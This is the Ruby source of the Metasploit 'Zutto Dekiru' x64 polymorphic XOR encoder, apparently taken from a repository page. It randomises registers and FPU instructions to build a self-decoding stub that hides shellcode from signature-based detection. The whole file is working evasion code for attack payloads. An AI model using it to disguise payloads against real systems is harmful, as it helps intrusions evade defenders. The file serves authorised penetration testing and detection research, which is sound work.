Path: blob/master/modules/encoders/x64/zutto_dekiru.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasm'6require 'rex/nop/opty2'78class MetasploitModule < Msf::Encoder::Xor9Rank = ManualRanking1011def initialize12super(13'Name' => 'Zutto Dekiru',14'Version' => '$Revision: 14774 $',15'Description' => 'Inspired by shikata_ga_nai using fxsave64 to work under x64 systems.',16'Author' => 'agix',17'Arch' => ARCH_X64,18'License' => MSF_LICENSE,19'EncoderType' => Msf::Encoder::Type::Raw,20'Decoder' => {21'KeySize' => 8,22'KeyPack' => 'Q<'23}24)25@cpu64 = Metasm::X86_64.new26end2728def assemble(src, cpu: @cpu64)29Metasm::Shellcode.assemble(cpu, src).encode_string30end3132def fxsave64(reg)33case reg34when 'rax'35return "\x48\x0f\xae\x00"36when 'rbx'37return "\x48\x0f\xae\x03"38when 'rcx'39return "\x48\x0f\xae\x01"40when 'rdx'41return "\x48\x0f\xae\x02"42when 'rsi'43return "\x48\x0f\xae\x06"44when 'rdi'45return "\x48\x0f\xae\x07"46when 'rbp'47return "\x48\x0f\xae\x45\x00"48when 'r8'49return "\x49\x0f\xae\x00"50when 'r9'51return "\x49\x0f\xae\x01"52when 'r10'53return "\x49\x0f\xae\x02"54when 'r11'55return "\x49\x0f\xae\x03"56when 'r12'57return "\x49\x0f\xae\x04\x24"58when 'r13'59return "\x49\x0f\xae\x45\x00"60when 'r14'61return "\x49\x0f\xae\x06"62when 'r15'63return "\x49\x0f\xae\x07"64end65end6667def nop(length, save_registers = [])68test = Rex::Nop::Opty2.new('', save_registers)69return test.generate_sled(length)70end7172# Indicate that this module can preserve some registers73def can_preserve_registers?74true75end7677#78# Returns the set of FPU instructions that can be used for the FPU block of79# the decoder stub.80#81def fpu_instructions82fpus = []83840xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }850xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }860xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }870xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }880xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }8990fpus << "\xd9\xd0"91fpus << "\xd9\xe1"92fpus << "\xd9\xf6"93fpus << "\xd9\xf7"94fpus << "\xd9\xe5"9596# This FPU instruction seems to fail consistently on Linux97# fpus << "\xdb\xe1"9899fpus100end101102def rand_string(length)103o = [('0'..'9'), ('a'..'z'), ('A'..'Z')].map(&:to_a).flatten104string = (0..(length - 1)).map { o[rand(o.length)] }.join105106return string107end108109def xor_string(text, key)110text.length.times { |n| text[n] = (text[n].ord ^ key[n.modulo(key.length)].ord).chr }111return text112end113114def ordered_random_merge(array1, array2)115a = array1.dup116b = array2.dup117a.map { rand(b.size + 1) }.sort.reverse.each do |index|118b.insert(index, a.pop)119end120b121end122123def encode_block(state, block)124allowed_reg = [125['rax', 'eax', 'ax', 'al' ],126['rbx', 'ebx', 'bx', 'bl' ],127['rcx', 'ecx', 'cx', 'cl' ],128['rdx', 'edx', 'dx', 'dl' ],129['rsi', 'esi', 'si', 'sil' ],130['rdi', 'edi', 'di', 'dil' ],131['rbp', 'ebp', 'bp', 'bpl' ],132['r8', 'r8d', 'r8w', 'r8b' ],133['r9', 'r9d', 'r9w', 'r9b' ],134['r10', 'r10d', 'r10w', 'r10b'],135['r11', 'r11d', 'r11w', 'r11b'],136['r12', 'r12d', 'r12w', 'r12b'],137['r13', 'r13d', 'r13w', 'r13b'],138['r14', 'r14d', 'r14w', 'r14b'],139['r15', 'r15d', 'r15w', 'r15b'],140]141allowed_reg.delete_if { |reg| datastore['SaveRegisters'] && datastore['SaveRegisters'].include?(reg.first) }142allowed_reg.shuffle!143144if block.length % 8 != 0145block += nop(8 - (block.length % 8))146end147148reg_type = 3149150if (block.length / 8) > 0xff151reg_type = 2152end153154if (block.length / 8) > 0xffff155reg_type = 1156end157158if (block.length / 8) > 0xffffffff159reg_type = 0160end161162reg_key = allowed_reg[0][0]163reg_size = allowed_reg[3]164reg_rip = allowed_reg[1][0]165reg_env = allowed_reg[2]166167flip_coin = rand(2)168169fpu_opcode = Rex::Poly::LogicalBlock.new('fpu',170*fpu_instructions)171172fpu = []173fpu << ['fpu', fpu_opcode.generate([], nil, state.badchars)]174175sub = (rand(0xd00) & 0xfff0) + 0xf000176lea = []177if flip_coin == 0178lea << ['lea', assemble('mov %s, rsp' % reg_env[0])]179lea << ['lea1', assemble('and ' + reg_env[2] + ', 0x%x' % sub)]180else181lea << ['lea', assemble('push rsp')]182lea << ['lea1', assemble('pop ' + reg_env[0])]183lea << ['lea2', assemble('and ' + reg_env[2] + ', 0x%x' % sub)]184end185186fpu_lea = ordered_random_merge(fpu, lea)187fpu_lea << ['fpu1', fxsave64(reg_env[0])] # fxsave64 doesn't seem to exist in metasm188189key_ins = [['key', assemble('mov ' + reg_key + ', 0x%x' % state.key)]]190191size = []192size << ['size', assemble('xor ' + reg_size[0] + ', ' + reg_size[0])]193size << ['size', assemble('mov ' + reg_size[reg_type] + ', 0x%x' % (block.length / 8))]194195getrip = 0196197a = ordered_random_merge(size, key_ins)198decode_head_tab = ordered_random_merge(a, fpu_lea)199200decode_head_tab.length.times { |i| getrip = i if decode_head_tab[i][0] == 'fpu' }201202decode_head = decode_head_tab.map { |_j, i| i.to_s }.join203204flip_coin = rand(2)205206if flip_coin == 0207decode_head += assemble('mov ' + reg_rip + ', [' + reg_env[0] + ' + 0x8]')208else209decode_head += assemble('add ' + reg_env[0] + ', 0x8')210decode_head += assemble('mov ' + reg_rip + ', [' + reg_env[0] + ']')211end212213decode_head_size = decode_head.length214getrip.times { |i| decode_head_size -= decode_head_tab[i][1].length }215216loop_code = assemble('dec ' + reg_size[0])217loop_code += assemble('xor [' + reg_rip + '+(' + reg_size[0] + '*8) + 0x7f], ' + reg_key)218loop_code += assemble('test ' + reg_size[0] + ', ' + reg_size[0])219220payload_offset = decode_head_size + loop_code.length + 2221222loop_code = assemble('dec ' + reg_size[0])223loop_code += assemble('xor [' + reg_rip + '+(' + reg_size[0] + '*8) + 0x' + payload_offset.to_s(16) + '], ' + reg_key)224loop_code += assemble('test ' + reg_size[0] + ', ' + reg_size[0])225226jnz = "\x75" + (0x100 - (loop_code.length + 2)).chr227228decode = decode_head + loop_code + jnz229encode = xor_string(block, [state.key].pack('Q'))230231return decode + encode232end233234end235236237